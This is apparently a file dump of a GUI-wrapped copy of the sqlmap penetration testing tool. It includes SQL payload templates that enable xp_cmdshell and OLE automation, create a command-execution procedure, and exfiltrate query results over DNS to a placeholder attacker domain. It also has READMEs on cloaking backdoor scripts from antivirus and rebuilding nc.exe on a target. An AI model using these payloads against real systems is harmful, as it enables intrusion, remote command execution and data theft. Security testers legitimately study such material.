start graphics.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | start /B pythonw .\gui_win.py 3 | -------------------------------------------------------------------------------- /GUI-EN/assets/Clip_2024-07-25_10-12-39.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/assets/Clip_2024-07-25_10-12-39.png -------------------------------------------------------------------------------- /GUI-EN/assets/Clip_2024-07-25_10-19-42.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/assets/Clip_2024-07-25_10-19-42.png -------------------------------------------------------------------------------- /GUI-EN/assets/Clip_2024-07-25_10-20-16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/assets/Clip_2024-07-25_10-20-16.png -------------------------------------------------------------------------------- /GUI-EN/data/procs/README.txt: -------------------------------------------------------------------------------- 1 | Files in this folder represent SQL snippets used by sqlmap on the target 2 | system. 3 | They are licensed under the terms of the GNU Lesser General Public License 4 | where not specified otherwise. 5 | -------------------------------------------------------------------------------- /GUI-EN/data/procs/mssqlserver/activate_sp_oacreate.sql: -------------------------------------------------------------------------------- 1 | EXEC master..sp_configure 'show advanced options',1; 2 | RECONFIGURE WITH OVERRIDE; 3 | EXEC master..sp_configure 'ole automation procedures',1; 4 | RECONFIGURE WITH OVERRIDE 5 | -------------------------------------------------------------------------------- /GUI-EN/data/procs/mssqlserver/configure_openrowset.sql: -------------------------------------------------------------------------------- 1 | EXEC master..sp_configure 'show advanced options', 1; 2 | RECONFIGURE WITH OVERRIDE; 3 | EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%; 4 | RECONFIGURE WITH OVERRIDE; 5 | EXEC sp_configure 'show advanced options', 0; 6 | RECONFIGURE WITH OVERRIDE 7 | -------------------------------------------------------------------------------- /GUI-EN/data/procs/mssqlserver/configure_xp_cmdshell.sql: -------------------------------------------------------------------------------- 1 | EXEC master..sp_configure 'show advanced options',1; 2 | RECONFIGURE WITH OVERRIDE; 3 | EXEC master..sp_configure 'xp_cmdshell',%ENABLE%; 4 | RECONFIGURE WITH OVERRIDE; 5 | EXEC master..sp_configure 'show advanced options',0; 6 | RECONFIGURE WITH OVERRIDE 7 | -------------------------------------------------------------------------------- /GUI-EN/data/procs/mssqlserver/create_new_xp_cmdshell.sql: -------------------------------------------------------------------------------- 1 | DECLARE @%RANDSTR% nvarchar(999); 2 | set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; 3 | EXEC master..sp_executesql @%RANDSTR% 4 | -------------------------------------------------------------------------------- /GUI-EN/data/procs/mssqlserver/disable_xp_cmdshell_2000.sql: -------------------------------------------------------------------------------- 1 | EXEC master..sp_dropextendedproc 'xp_cmdshell' 2 | -------------------------------------------------------------------------------- /GUI-EN/data/procs/mssqlserver/dns_request.sql: -------------------------------------------------------------------------------- 1 | DECLARE @host varchar(1024); 2 | SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%'; 3 | EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"') 4 | # or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"') 5 | -------------------------------------------------------------------------------- /GUI-EN/data/procs/mssqlserver/enable_xp_cmdshell_2000.sql: -------------------------------------------------------------------------------- 1 | EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll' 2 | -------------------------------------------------------------------------------- /GUI-EN/data/procs/mssqlserver/run_statement_as_user.sql: -------------------------------------------------------------------------------- 1 | SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%') 2 | # SELECT * FROM OPENROWSET('SQLNCLI', 'server=(local);trusted_connection=yes','SET FMTONLY OFF SELECT 1;%STATEMENT%') 3 | # SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%') 4 | -------------------------------------------------------------------------------- /GUI-EN/data/procs/mysql/dns_request.sql: -------------------------------------------------------------------------------- 1 | SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%RANDSTR1%')) 2 | -------------------------------------------------------------------------------- /GUI-EN/data/procs/mysql/write_file_limit.sql: -------------------------------------------------------------------------------- 1 | LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- - 2 | -------------------------------------------------------------------------------- /GUI-EN/data/procs/oracle/dns_request.sql: -------------------------------------------------------------------------------- 1 | SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL 2 | # or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL 3 | # or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual 4 | -------------------------------------------------------------------------------- /GUI-EN/data/procs/postgresql/dns_request.sql: -------------------------------------------------------------------------------- 1 | DROP TABLE IF EXISTS %RANDSTR1%; 2 | # https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required 3 | CREATE TABLE %RANDSTR1%(%RANDSTR2% text); 4 | CREATE OR REPLACE FUNCTION %RANDSTR3%() 5 | RETURNS VOID AS $$ 6 | DECLARE %RANDSTR4% TEXT; 7 | DECLARE %RANDSTR5% TEXT; 8 | BEGIN 9 | SELECT INTO %RANDSTR5% (%QUERY%); 10 | %RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\''; 11 | EXECUTE %RANDSTR4%; 12 | END; 13 | $$ LANGUAGE plpgsql SECURITY DEFINER; 14 | SELECT %RANDSTR3%(); -------------------------------------------------------------------------------- /GUI-EN/data/shell/README.txt: -------------------------------------------------------------------------------- 1 | Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility. 2 | 3 | To prepare the original scripts to the cloaked form use this command: 4 | find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; 5 | 6 | To get back them into the original form use this: 7 | find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; 8 | -------------------------------------------------------------------------------- /GUI-EN/data/shell/backdoors/backdoor.asp_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/shell/backdoors/backdoor.asp_ -------------------------------------------------------------------------------- /GUI-EN/data/shell/backdoors/backdoor.aspx_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/shell/backdoors/backdoor.aspx_ -------------------------------------------------------------------------------- /GUI-EN/data/shell/backdoors/backdoor.jsp_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/shell/backdoors/backdoor.jsp_ -------------------------------------------------------------------------------- /GUI-EN/data/shell/backdoors/backdoor.php_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/shell/backdoors/backdoor.php_ -------------------------------------------------------------------------------- /GUI-EN/data/shell/stagers/stager.asp_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/shell/stagers/stager.asp_ -------------------------------------------------------------------------------- /GUI-EN/data/shell/stagers/stager.aspx_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/shell/stagers/stager.aspx_ -------------------------------------------------------------------------------- /GUI-EN/data/shell/stagers/stager.jsp_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/shell/stagers/stager.jsp_ -------------------------------------------------------------------------------- /GUI-EN/data/shell/stagers/stager.php_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/shell/stagers/stager.php_ -------------------------------------------------------------------------------- /GUI-EN/data/txt/wordlist.tx_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/txt/wordlist.tx_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/README.txt: -------------------------------------------------------------------------------- 1 | Binary files in this folder are data files used by sqlmap on the target 2 | system, but not executed on the system running sqlmap. They are licensed 3 | under the terms of the GNU Lesser General Public License and their source 4 | code is available on https://github.com/sqlmapproject/udfhack. 5 | -------------------------------------------------------------------------------- /GUI-EN/data/udf/mysql/linux/32/lib_mysqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/mysql/linux/64/lib_mysqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ -------------------------------------------------------------------------------- /GUI-EN/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ -------------------------------------------------------------------------------- /GUI-EN/data/xml/banner/oracle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /GUI-EN/data/xml/banner/postgresql.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /GUI-EN/data/xml/banner/sharepoint.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /GUI-EN/data/xml/banner/x-aspnet-version.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /GUI-EN/doc/AUTHORS: -------------------------------------------------------------------------------- 1 | Bernardo Damele Assumpcao Guimaraes (@inquisb) 2 | 3 | 4 | Miroslav Stampar (@stamparm) 5 | 6 | 7 | You can contact both developers by writing to dev@sqlmap.org 8 | -------------------------------------------------------------------------------- /GUI-EN/extra/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/extra/beep/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/extra/beep/beep.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/extra/beep/beep.wav -------------------------------------------------------------------------------- /GUI-EN/extra/cloak/README.txt: -------------------------------------------------------------------------------- 1 | To use cloak.py you need to pass it the original file, 2 | and optionally the output file name. 3 | 4 | Example: 5 | 6 | $ python ./cloak.py -i backdoor.asp -o backdoor.asp_ 7 | 8 | This will create an encrypted and compressed binary file backdoor.asp_. 9 | 10 | Such file can then be converted to its original form by using the -d 11 | functionality of the cloak.py program: 12 | 13 | $ python ./cloak.py -d -i backdoor.asp_ -o backdoor.asp 14 | 15 | If you skip the output file name, general rule is that the compressed 16 | file names are suffixed with the character '_', while the original is 17 | get by skipping the last character. So, that means that the upper 18 | examples can also be written in the following form: 19 | 20 | $ python ./cloak.py -i backdoor.asp 21 | 22 | $ python ./cloak.py -d -i backdoor.asp_ 23 | -------------------------------------------------------------------------------- /GUI-EN/extra/cloak/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/extra/dbgtool/README.txt: -------------------------------------------------------------------------------- 1 | To use dbgtool.py you need to pass it the MS-DOS executable binary file, 2 | and optionally the output debug.exe script file name. 3 | 4 | Example: 5 | 6 | $ python ./dbgtool.py -i ./nc.exe -o nc.scr 7 | 8 | This will create a ASCII text file with CRLF line terminators called 9 | nc.scr. 10 | 11 | Such file can then be converted to its original portable executable with 12 | the Windows native debug.exe, that is installed by default in all Windows 13 | systems: 14 | 15 | > debug.exe < nc.scr 16 | 17 | To be able to execute it on Windows you have to rename it to end with 18 | '.com' or '.exe': 19 | 20 | > ren nc_exe nc.exe 21 | -------------------------------------------------------------------------------- /GUI-EN/extra/dbgtool/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/extra/icmpsh/icmpsh.exe_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/extra/icmpsh/icmpsh.exe_ -------------------------------------------------------------------------------- /GUI-EN/extra/runcmd/README.txt: -------------------------------------------------------------------------------- 1 | runcmd.exe is an auxiliary program that can be used for running command prompt 2 | commands skipping standard "cmd /c" way. It is licensed under the terms of the 3 | GNU Lesser General Public License. 4 | -------------------------------------------------------------------------------- /GUI-EN/extra/runcmd/runcmd.exe_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/extra/runcmd/runcmd.exe_ -------------------------------------------------------------------------------- /GUI-EN/extra/runcmd/src/README.txt: -------------------------------------------------------------------------------- 1 | Compile only the Release version because the Runtime library option 2 | (Project Properties -> Configuration Properties -> C/C++ -> Code 3 | Generation) is set to "Multi-threaded (/MT)", which statically links 4 | everything into executable and doesn't compile Debug version at all. 5 | -------------------------------------------------------------------------------- /GUI-EN/extra/runcmd/src/runcmd/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // runcmd.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /GUI-EN/extra/runcmd/src/runcmd/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. 9 | #define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. 10 | #endif 11 | 12 | #include 13 | #include 14 | 15 | 16 | 17 | // TODO: reference additional headers your program requires here 18 | -------------------------------------------------------------------------------- /GUI-EN/extra/shellcodeexec/README.txt: -------------------------------------------------------------------------------- 1 | Binary files in this folder are data files used by sqlmap on the target 2 | system, but not executed on the system running sqlmap. They are licensed 3 | under the terms of the GNU Lesser General Public License and their source 4 | code is available on https://github.com/inquisb/shellcodeexec. 5 | -------------------------------------------------------------------------------- /GUI-EN/extra/shellcodeexec/linux/shellcodeexec.x32_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/extra/shellcodeexec/linux/shellcodeexec.x32_ -------------------------------------------------------------------------------- /GUI-EN/extra/shellcodeexec/linux/shellcodeexec.x64_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/extra/shellcodeexec/linux/shellcodeexec.x64_ -------------------------------------------------------------------------------- /GUI-EN/extra/shellcodeexec/windows/shellcodeexec.x32.exe_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ -------------------------------------------------------------------------------- /GUI-EN/extra/shutils/autocompletion.sh: -------------------------------------------------------------------------------- 1 | #/usr/bin/env bash 2 | 3 | # source ./extra/shutils/autocompletion.sh 4 | 5 | DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" 6 | WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -` 7 | 8 | complete -W "$WORDLIST" sqlmap 9 | complete -W "$WORDLIST" ./sqlmap.py 10 | -------------------------------------------------------------------------------- /GUI-EN/extra/shutils/blanks.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # Removes trailing spaces from blank lines inside project files 7 | find . -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \; 8 | -------------------------------------------------------------------------------- /GUI-EN/extra/shutils/drei.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # Stress test against Python3 7 | 8 | export SQLMAP_DREI=1 9 | #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done 10 | for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done 11 | unset SQLMAP_DREI 12 | source `dirname "$0"`"/junk.sh" 13 | 14 | # for i in $(find . -iname "*.py" | grep -v __init__); do timeout 10 pylint --py3k $i; done 2>&1 | grep -v -E 'absolute_import|No config file' 15 | -------------------------------------------------------------------------------- 